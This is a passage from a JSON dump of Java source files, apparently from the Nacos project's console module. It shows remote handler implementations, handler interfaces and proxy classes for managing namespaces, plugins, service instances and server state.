dataId, String group, String namespaceId,\n            Long id) throws NacosException {\n        return clientHolder.getConfigMaintainerService().getPreviousConfigHistoryInfo(dataId, group, namespaceId, id);\n    }\n    \n    @Override\n    public List<ConfigBasicInfo> getConfigsByTenant(String namespaceId) throws NacosException {\n        return clientHolder.getConfigMaintainerService().getConfigListByNamespace(namespaceId);\n    }\n    \n}"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/core/ClusterRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote.core;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.response.NacosMember;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.console.handler.core.ClusterHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.NacosMaintainerClientHolder;\nimport org.springframework.stereotype.Service;\n\nimport java.util.Collection;\n\n/**\n * Remote Implementation of ClusterHandler that handles cluster-related operations.\n *\n * @author xiweng.yy\n */\n@Service\n@EnabledRemoteHandler\npublic class ClusterRemoteHandler implements ClusterHandler {\n    \n    private final NacosMaintainerClientHolder clientHolder;\n    \n    public ClusterRemoteHandler(NacosMaintainerClientHolder clientHolder) {\n        this.clientHolder = clientHolder;\n    }\n    \n    /**\n     * Retrieves a list of cluster members with an optional search keyword.\n     *\n     * @param ipKeyWord the search keyword for filtering members\n     * @return a collection of matching members\n     */\n    @Override\n    public Collection<? extends NacosMember> getNodeList(String ipKeyWord) throws NacosException {\n        return clientHolder.getNamingMaintainerService().listClusterNodes(StringUtils.EMPTY, StringUtils.EMPTY);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/core/NamespaceRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote.core;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.response.Namespace;\nimport com.alibaba.nacos.console.handler.core.NamespaceHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.NacosMaintainerClientHolder;\nimport com.alibaba.nacos.core.namespace.model.form.NamespaceForm;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\n\n/**\n * Remote Implementation of NamespaceHandler that handles namespace-related operations.\n *\n * @author xiweng.yy\n */\n@Service\n@EnabledRemoteHandler\npublic class NamespaceRemoteHandler implements NamespaceHandler {\n    \n    private final NacosMaintainerClientHolder clientHolder;\n    \n    public NamespaceRemoteHandler(NacosMaintainerClientHolder clientHolder) {\n        this.clientHolder = clientHolder;\n    }\n    \n    @Override\n    public List<Namespace> getNamespaceList() throws NacosException {\n        return clientHolder.getNamingMaintainerService().getNamespaceList();\n    }\n    \n    @Override\n    public Namespace getNamespaceDetail(String namespaceId) throws NacosException {\n        return clientHolder.getNamingMaintainerService().getNamespace(namespaceId);\n    }\n    \n    @Override\n    public Boolean createNamespace(String namespaceId, String namespaceName, String namespaceDesc)\n            throws NacosException {\n        return clientHolder.getNamingMaintainerService().createNamespace(namespaceId, namespaceName, namespaceDesc);\n    }\n    \n    @Override\n    public Boolean updateNamespace(NamespaceForm namespaceForm) throws NacosException {\n        return clientHolder.getNamingMaintainerService()\n                .updateNamespace(namespaceForm.getNamespaceId(), namespaceForm.getNamespaceName(),\n                        namespaceForm.getNamespaceDesc());\n    }\n    \n    @Override\n    public Boolean deleteNamespace(String namespaceId) throws NacosException {\n        return clientHolder.getNamingMaintainerService().deleteNamespace(namespaceId);\n    }\n    \n    @Override\n    public Boolean checkNamespaceIdExist(String namespaceId) throws NacosException {\n        return clientHolder.getNamingMaintainerService().checkNamespaceIdExist(namespaceId);\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/core/PluginRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote.core;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.plugin.ConfigItemDefinition;\nimport com.alibaba.nacos.api.plugin.ConfigItemType;\nimport com.alibaba.nacos.console.handler.core.PluginHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.NacosMaintainerClientHolder;\nimport com.alibaba.nacos.core.plugin.model.vo.PluginDetailVO;\nimport com.alibaba.nacos.core.plugin.model.vo.PluginInfoVO;\nimport org.springframework.stereotype.Service;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Remote implementation of PluginHandler that handles plugin-related operations via HTTP.\n *\n * @author WangzJi\n */\n@Service\n@EnabledRemoteHandler\npublic class PluginRemoteHandler implements PluginHandler {\n\n    private static final String FIELD_PLUGIN_ID = \"pluginId\";\n\n    private static final String FIELD_PLUGIN_TYPE = \"pluginType\";\n\n    private static final String FIELD_PLUGIN_NAME = \"pluginName\";\n\n    private static final String FIELD_ENABLED = \"enabled\";\n\n    private static final String FIELD_CRITICAL = \"critical\";\n\n    private static final String FIELD_CONFIGURABLE = \"configurable\";\n\n    private static final String FIELD_EXCLUSIVE = \"exclusive\";\n\n    private static final String FIELD_TOTAL_NODE_COUNT = \"totalNodeCount\";\n\n    private static final String FIELD_AVAILABLE_NODE_COUNT = \"availableNodeCount\";\n\n    private static final String FIELD_CONFIG = \"config\";\n\n    private static final String FIELD_CONFIG_DEFINITIONS = \"configDefinitions\";\n\n    private static final String FIELD_KEY = \"key\";\n\n    private static final String FIELD_NAME = \"name\";\n\n    private static final String FIELD_DESCRIPTION = \"description\";\n\n    private static final String FIELD_DEFAULT_VALUE = \"defaultValue\";\n\n    private static final String FIELD_REQUIRED = \"required\";\n\n    private static final String FIELD_TYPE = \"type\";\n\n    private static final String FIELD_ENUM_VALUES = \"enumValues\";\n\n    private final NacosMaintainerClientHolder clientHolder;\n\n    public PluginRemoteHandler(NacosMaintainerClientHolder clientHolder) {\n        this.clientHolder = clientHolder;\n    }\n\n    @Override\n    public List<PluginInfoVO> listPlugins(String pluginType) throws NacosException {\n        List<Map<String, Object>> rawList = clientHolder.getNamingMaintainerService().listPlugins(pluginType);\n        List<PluginInfoVO> result = new ArrayList<>(rawList.size());\n        for (Map<String, Object> raw : rawList) {\n            result.add(convertToPluginInfoVO(raw));\n        }\n        return result;\n    }\n\n    @Override\n    public PluginDetailVO getPluginDetail(String pluginType, String pluginName) throws NacosException {\n        Map<String, Object> raw = clientHolder.getNamingMaintainerService().getPluginDetail(pluginType, pluginName);\n        return convertToPluginDetailVO(raw);\n    }\n\n    @Override\n    public void updatePluginStatus(String pluginType, String pluginName, boolean enabled, boolean localOnly)\n            throws NacosException {\n        clientHolder.getNamingMaintainerService().updatePluginStatus(pluginType, pluginName, enabled, localOnly);\n    }\n\n    @Override\n    public void updatePluginConfig(String pluginType, String pluginName, Map<String, String> config,\n            boolean localOnly) throws NacosException {\n        clientHolder.getNamingMaintainerService().updatePluginConfig(pluginType, pluginName, config, localOnly);\n    }\n\n    @Override\n    public Map<String, Boolean> getPluginAvailability(String pluginType, String pluginName) throws NacosException {\n        return clientHolder.getNamingMaintainerService().getPluginAvailability(pluginType, pluginName);\n    }\n\n    private PluginInfoVO convertToPluginInfoVO(Map<String, Object> raw) {\n        PluginInfoVO vo = new PluginInfoVO();\n        vo.setPluginId((String) raw.get(FIELD_PLUGIN_ID));\n        vo.setPluginType((String) raw.get(FIELD_PLUGIN_TYPE));\n        vo.setPluginName((String) raw.get(FIELD_PLUGIN_NAME));\n        vo.setEnabled(Boolean.TRUE.equals(raw.get(FIELD_ENABLED)));\n        vo.setCritical(Boolean.TRUE.equals(raw.get(FIELD_CRITICAL)));\n        vo.setConfigurable(Boolean.TRUE.equals(raw.get(FIELD_CONFIGURABLE)));\n        vo.setExclusive(Boolean.TRUE.equals(raw.get(FIELD_EXCLUSIVE)));\n        if (raw.get(FIELD_TOTAL_NODE_COUNT) != null) {\n            vo.setTotalNodeCount(((Number) raw.get(FIELD_TOTAL_NODE_COUNT)).intValue());\n        }\n        if (raw.get(FIELD_AVAILABLE_NODE_COUNT) != null) {\n            vo.setAvailableNodeCount(((Number) raw.get(FIELD_AVAILABLE_NODE_COUNT)).intValue());\n        }\n        return vo;\n    }\n\n    @SuppressWarnings(\"unchecked\")\n    private PluginDetailVO convertToPluginDetailVO(Map<String, Object> raw) {\n        PluginDetailVO vo = new PluginDetailVO();\n        vo.setPluginId((String) raw.get(FIELD_PLUGIN_ID));\n        vo.setPluginType((String) raw.get(FIELD_PLUGIN_TYPE));\n        vo.setPluginName((String) raw.get(FIELD_PLUGIN_NAME));\n        vo.setEnabled(Boolean.TRUE.equals(raw.get(FIELD_ENABLED)));\n        vo.setCritical(Boolean.TRUE.equals(raw.get(FIELD_CRITICAL)));\n        vo.setConfigurable(Boolean.TRUE.equals(raw.get(FIELD_CONFIGURABLE)));\n        if (raw.get(FIELD_CONFIG) != null) {\n            vo.setConfig((Map<String, String>) raw.get(FIELD_CONFIG));\n        }\n        if (raw.get(FIELD_CONFIG_DEFINITIONS) != null) {\n            List<Map<String, Object>> rawDefinitions = (List<Map<String, Object>>) raw.get(FIELD_CONFIG_DEFINITIONS);\n            vo.setConfigDefinitions(convertToConfigItemDefinitions(rawDefinitions));\n        }\n        return vo;\n    }\n\n    @SuppressWarnings(\"unchecked\")\n    private List<ConfigItemDefinition> convertToConfigItemDefinitions(List<Map<String, Object>> rawList) {\n        List<ConfigItemDefinition> result = new ArrayList<>(rawList.size());\n        for (Map<String, Object> raw : rawList) {\n            ConfigItemDefinition definition = new ConfigItemDefinition();\n            definition.setKey((String) raw.get(FIELD_KEY));\n            definition.setName((String) raw.get(FIELD_NAME));\n            definition.setDescription((String) raw.get(FIELD_DESCRIPTION));\n            definition.setDefaultValue((String) raw.get(FIELD_DEFAULT_VALUE));\n            definition.setRequired(Boolean.TRUE.equals(raw.get(FIELD_REQUIRED)));\n            if (raw.get(FIELD_TYPE) != null) {\n                String typeStr = raw.get(FIELD_TYPE).toString();\n                try {\n                    definition.setType(ConfigItemType.valueOf(typeStr));\n                } catch (IllegalArgumentException e) {\n                    definition.setType(ConfigItemType.STRING);\n                }\n            }\n            if (raw.get(FIELD_ENUM_VALUES) != null) {\n                definition.setEnumValues((List<String>) raw.get(FIELD_ENUM_VALUES));\n            }\n            result.add(definition);\n        }\n        return result;\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/naming/InstanceRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.NacosMaintainerClientHolder;\nimport com.alibaba.nacos.console.handler.naming.InstanceHandler;\nimport com.alibaba.nacos.core.utils.PageUtil;\nimport com.alibaba.nacos.naming.model.form.InstanceForm;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\n\n/**\n * Remote Implementation of InstanceHandler that handles instance-related operations.\n *\n * @author xiweng.yy\n */\n@Service\n@EnabledRemoteHandler\n@Conditional(ConditionFunctionEnabled.ConditionNamingEnabled.class)\npublic class InstanceRemoteHandler implements InstanceHandler {\n    \n    private final NacosMaintainerClientHolder clientHolder;\n    \n    public InstanceRemoteHandler(NacosMaintainerClientHolder clientHolder) {\n        this.clientHolder = clientHolder;\n    }\n    \n    @Override\n    public Page<? extends Instance> listInstances(String namespaceId, String serviceNameWithoutGroup, String groupName,\n            String clusterName, int page, int pageSize) throws NacosException {\n        List<Instance> instances = clientHolder.getNamingMaintainerService()\n                .listInstances(namespaceId, groupName, serviceNameWithoutGroup, clusterName, false);\n        return PageUtil.subPage(instances, page, pageSize);\n    }\n    \n    @Override\n    public void updateInstance(InstanceForm instanceForm, Instance instance) throws NacosException {\n        clientHolder.getNamingMaintainerService()\n                .updateInstance(instanceForm.getNamespaceId(), instanceForm.getGroupName(),\n                        instanceForm.getServiceName(), instance);\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/naming/ServiceRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.naming.pojo.Service;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.ClusterInfo;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.ServiceDetailInfo;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.SubscriberInfo;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.NacosMaintainerClientHolder;\nimport com.alibaba.nacos.console.handler.naming.ServiceHandler;\nimport com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata;\nimport com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata;\nimport com.alibaba.nacos.naming.model.form.ServiceForm;\nimport org.springframework.context.annotation.Conditional;\n\nimport java.util.List;\n\n/**\n * Remote Implementation of ServiceHandler that handles service-related operations.\n *\n * @author xiweng.yy\n */\n@org.springframework.stereotype.Service\n@EnabledRemoteHandler\n@Conditional(ConditionFunctionEnabled.ConditionNamingEnabled.class)\npublic class ServiceRemoteHandler implements ServiceHandler {\n    \n    private final NacosMaintainerClientHolder clientHolder;\n    \n    public ServiceRemoteHandler(NacosMaintainerClientHolder clientHolder) {\n        this.clientHolder = clientHolder;\n    }\n    \n    @Override\n    public void createService(ServiceForm serviceForm, ServiceMetadata serviceMetadata) throws Exception {\n        Service service = buildService(serviceForm, serviceMetadata);\n        clientHolder.getNamingMaintainerService().createService(service);\n    }\n    \n    @Override\n    public void deleteService(String namespaceId, String serviceName, String groupName) throws Exception {\n        clientHolder.getNamingMaintainerService().removeService(namespaceId, groupName, serviceName);\n    }\n    \n    @Override\n    public void updateService(ServiceForm serviceForm, ServiceMetadata serviceMetadata) throws Exception {\n        Service servicePojo = buildService(serviceForm, serviceMetadata);\n        clientHolder.getNamingMaintainerService().updateService(servicePojo);\n    }\n    \n    @Override\n    public List<String> getSelectorTypeList() throws NacosException {\n        return clientHolder.getNamingMaintainerService().listSelectorTypes();\n    }\n    \n    @Override\n    public Page<SubscriberInfo> getSubscribers(int pageNo, int pageSize, String namespaceId, String serviceName,\n            String groupName, boolean aggregation) throws Exception {\n        return clientHolder.getNamingMaintainerService()\n                .getSubscribers(namespaceId, groupName, serviceName, pageNo, pageSize, aggregation);\n    }\n    \n    @Override\n    public Object getServiceList(boolean withInstances, String namespaceId, int pageNo, int pageSize,\n            String serviceName, String groupName, boolean ignoreEmptyService) throws NacosException {\n        if (withInstances) {\n            return clientHolder.getNamingMaintainerService()\n                    .listServicesWithDetail(namespaceId, groupName, serviceName, pageNo, pageSize);\n        }\n        return clientHolder.getNamingMaintainerService()\n                .listServices(namespaceId, groupName, serviceName, ignoreEmptyService, pageNo, pageSize);\n    }\n    \n    @Override\n    public ServiceDetailInfo getServiceDetail(String namespaceId, String serviceName, String groupName)\n            throws NacosException {\n        return clientHolder.getNamingMaintainerService().getServiceDetail(namespaceId, groupName, serviceName);\n    }\n    \n    @Override\n    public void updateClusterMetadata(String namespaceId, String groupName, String serviceName, String clusterName,\n            ClusterMetadata clusterMetadata) throws Exception {\n        Service service = new Service();\n        service.setNamespaceId(namespaceId);\n        service.setGroupName(groupName);\n        service.setName(serviceName);\n        ClusterInfo clusterInfo = new ClusterInfo();\n        clusterInfo.setClusterName(clusterName);\n        clusterInfo.setHealthChecker(clusterMetadata.getHealthChecker());\n        clusterInfo.setMetadata(clusterMetadata.getExtendData());\n        clusterInfo.setUseInstancePortForCheck(clusterMetadata.isUseInstancePortForCheck());\n        clusterInfo.setHealthyCheckPort(clusterMetadata.getHealthyCheckPort());\n        clientHolder.getNamingMaintainerService().updateCluster(service, clusterInfo);\n    }\n    \n    private Service buildService(ServiceForm serviceForm, ServiceMetadata metadata) {\n        Service service = new Service();\n        service.setNamespaceId(serviceForm.getNamespaceId());\n        service.setName(serviceForm.getServiceName());\n        service.setGroupName(serviceForm.getGroupName());\n        service.setProtectThreshold(serviceForm.getProtectThreshold());\n        service.setEphemeral(serviceForm.getEphemeral());\n        service.setMetadata(metadata.getExtendData());\n        service.setSelector(metadata.getSelector());\n        return service;\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/naming/InstanceHandler.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.handler.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.naming.model.form.InstanceForm;\n\n/**\n * Interface for handling instance-related operations.\n *\n * @author zhangyukun\n */\npublic interface InstanceHandler {\n    \n    /**\n     * Retrieve a list of instances for a specific service and returns as an ObjectNode.\n     *\n     * @param namespaceId           the namespace ID\n     * @param serviceNameWithoutGroup the service name without group\n     * @param groupName             the group name\n     * @param clusterName             the cluster name\n     * @param page                  the page number\n     * @param pageSize              the size of the page\n     * @return the page object of {@link Instance}\n     * @throws NacosException if the list operation fails\n     */\n    Page<? extends Instance> listInstances(String namespaceId, String serviceNameWithoutGroup, String groupName, String clusterName,\n            int page, int pageSize) throws NacosException;\n    \n    /**\n     * Update an instance.\n     *\n     * @param instanceForm the form containing instance data\n     * @param instance     the instance to update\n     * @throws NacosException if the update operation fails\n     */\n    void updateInstance(InstanceForm instanceForm, Instance instance) throws NacosException;\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/naming/ServiceHandler.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.handler.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.ServiceDetailInfo;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.ServiceView;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.SubscriberInfo;\nimport com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata;\nimport com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata;\nimport com.alibaba.nacos.naming.model.form.ServiceForm;\n\nimport java.util.List;\n\n/**\n * Interface for handling service-related operations.\n *\n * @author zhangyukun\n */\npublic interface ServiceHandler {\n    \n    /**\n     * Create a new service.\n     *\n     * @param serviceForm     the service form containing the service details\n     * @param serviceMetadata the service metadata created from serviceForm\n     * @throws Exception if an error occurs during service creation\n     */\n    void createService(ServiceForm serviceForm, ServiceMetadata serviceMetadata) throws Exception;\n    \n    /**\n     * Delete an existing service.\n     *\n     * @param namespaceId the namespace ID\n     * @param serviceName the service name\n     * @param groupName   the group name\n     * @throws Exception if an error occurs during service deletion\n     */\n    void deleteService(String namespaceId, String serviceName, String groupName) throws Exception;\n    \n    /**\n     * Update an existing service.\n     *\n     * @param serviceForm     the service form containing the service details\n     * @param serviceMetadata the service metadata created from serviceForm\n     * @throws Exception if an error occurs during service update\n     */\n    void updateService(ServiceForm serviceForm, ServiceMetadata serviceMetadata) throws Exception;\n    \n    /**\n     * Get all selector types.\n     *\n     * @return a list of selector types\n     * @throws NacosException if an error occurs during get selector types\n     */\n    List<String> getSelectorTypeList() throws NacosException;\n    \n    /**\n     * Get the list of subscribers for a service.\n     *\n     * @param pageNo      the page number\n     * @param pageSize    the size of the page\n     * @param namespaceId the namespace ID\n     * @param serviceName the service name\n     * @param groupName   the group name\n     * @param aggregation whether to aggregate the results\n     * @return a JSON node containing the list of subscribers\n     * @throws Exception if an error occurs during fetching subscribers\n     */\n    Page<SubscriberInfo> getSubscribers(int pageNo, int pageSize, String namespaceId, String serviceName,\n            String groupName, boolean aggregation) throws Exception;\n    \n    /**\n     * List service detail information.\n     *\n     * @param withInstances         whether to include instances\n     * @param namespaceId           the namespace ID\n     * @param pageNo                the page number\n     * @param pageSize              the size of the page\n     * @param serviceName           the service name\n     * @param groupName             the group name\n     * @param ignoreEmptyService    whether to filter services with empty instances\n     * @return if withInstances is {@code true}, return Page of {@link ServiceDetailInfo}, otherwise return Page of {@link ServiceView}\n     * @throws NacosException if an error occurs during fetching service details\n     */\n    Object getServiceList(boolean withInstances, String namespaceId, int pageNo, int pageSize, String serviceName,\n            String groupName, boolean ignoreEmptyService) throws NacosException;\n    \n    /**\n     * Get the detail of a specific service.\n     *\n     * @param namespaceId the namespace ID\n     * @param serviceName the service name without group\n     * @param groupName   the group name\n     * @return service detail information\n     * @throws NacosException if an error occurs during fetching service details\n     */\n    ServiceDetailInfo getServiceDetail(String namespaceId, String serviceName, String groupName) throws NacosException;\n    \n    /**\n     * Update the metadata of a cluster.\n     *\n     * @param namespaceId     the namespace ID\n     * @param groupName       the group name\n     * @param serviceName     the service name\n     * @param clusterName     the cluster name\n     * @param clusterMetadata the metadata for the cluster\n     * @throws Exception if the update operation fails\n     */\n    void updateClusterMetadata(String namespaceId, String groupName, String serviceName, String clusterName,\n            ClusterMetadata clusterMetadata) throws Exception;\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/paramcheck/ConsoleDefaultHttpParamExtractor.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.paramcheck;\n\nimport com.alibaba.nacos.common.paramcheck.ParamInfo;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.paramcheck.AbstractHttpParamExtractor;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Console default http param extractor.\n *\n * @author zhuoguang\n */\npublic class ConsoleDefaultHttpParamExtractor extends AbstractHttpParamExtractor {\n    \n    @Override\n    public List<ParamInfo> extractParam(HttpServletRequest request) {\n        ParamInfo paramInfo = new ParamInfo();\n        paramInfo.setNamespaceId(getAliasNamespaceId(request));\n        paramInfo.setNamespaceShowName(getAliasNamespaceShowName(request));\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        paramInfos.add(paramInfo);\n        return paramInfos;\n    }\n    \n    private String getAliasNamespaceId(HttpServletRequest request) {\n        String namespaceId = request.getParameter(\"namespaceId\");\n        if (StringUtils.isBlank(namespaceId)) {\n            namespaceId = request.getParameter(\"customNamespaceId\");\n        }\n        return namespaceId;\n    }\n    \n    private String getAliasNamespaceShowName(HttpServletRequest request) {\n        return request.getParameter(\"namespaceName\");\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/proxy/HealthProxy.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.proxy;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.console.handler.HealthHandler;\nimport org.springframework.stereotype.Service;\n\n/**\n * Proxy class for handling health check operations.\n *\n * @author zhangyukun\n */\n@Service\npublic class HealthProxy {\n    \n    private final HealthHandler healthHandler;\n    \n    public HealthProxy(HealthHandler healthHandler) {\n        this.healthHandler = healthHandler;\n    }\n    \n    /**\n     * Perform readiness check to determine if Nacos is ready to handle requests.\n     *\n     * @return readiness result\n     */\n    public Result<String> checkReadiness() throws NacosException {\n        return healthHandler.checkReadiness();\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/proxy/ServerStateProxy.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.proxy;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.console.handler.ServerStateHandler;\nimport org.springframework.stereotype.Service;\n\nimport java.util.Map;\n\n/**\n * Proxy class for handling server state operations.\n *\n * @author zhangyukun\n */\n@Service\npublic class ServerStateProxy {\n    \n    private final ServerStateHandler serverStateHandler;\n    \n    public ServerStateProxy(ServerStateHandler serverStateHandler) {\n        this.serverStateHandler = serverStateHandler;\n    }\n    \n    /**\n     * Get the current state of the server.\n     *\n     * @return the server state as a Map\n     */\n    public Map<String, String> getServerState() throws NacosException {\n        return serverStateHandler.getServerState();\n    }\n    \n    /**\n     * Get the announcement content based on the language.\n     *\n     * @param language the language for the announcement\n     * @return the announcement content as a String\n     */\n    public String getAnnouncement(String language) {\n        return serverStateHandler.getAnnouncement(language);\n    }\n    \n    /**\n     * Get the console UI guide information.\n     *\n     * @return the console UI guide information as a String\n     */\n    public String 